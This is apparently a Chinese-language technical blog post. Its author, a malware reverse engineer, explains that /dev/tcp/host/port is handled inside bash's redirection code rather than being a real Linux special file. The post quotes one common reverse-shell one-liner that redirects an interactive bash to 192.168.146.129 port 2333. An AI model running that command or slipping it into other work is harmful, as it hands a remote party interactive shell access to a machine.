關於/dev/tcp/host/port

一直沒打算接觸web、滲透之類的,不過前不久爲了搞清楚一個惡意軟件的服務端實現(客戶端逆完了,但是有些地方只能看服務端實現才能確定猜測是否正確,因爲有些場景觸發不了),所以現學了一下,拿到了幾臺Windows服務器和Linux服務器。

接觸到反彈shell,常見的:bash -i >& /dev/tcp/192.168.146.129/2333 0>&1
我能理解這是建立一個tcp連接,不能理解的是搜索了好多都說/dev/tcp/host/port是Linux的特殊文件。
在這裏插入圖片描述
在這裏插入圖片描述
。。。等等,其他搜索到的也差不多是這麼說。

雖然Linux瞭解不多,Linux內核源碼也只零散看過一些,但是從不記得有這個文件。

在sh或者對/dev/tcp/host/port進行訪問、監控系統調用後(sh無法創建,讀寫文件肯定是找不到,看系統調用並沒有對/dev/tcp/host/port的io操作,ioctl等也沒有),猜測是不是bash提供的功能,查看bash源碼發現:
在這裏插入圖片描述
看註釋和代碼驗證了我的猜想,是個毛線的Linux特殊文件!

在這裏插入圖片描述
在這裏插入圖片描述
在這裏插入圖片描述
以上就是bash對/dev/tcp/的處理,截取出ip、端口,建立tcp連接。

我不懂的是他們是真的以爲是一個文件還是怎樣,太誤導人了,實事求是不好嗎

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章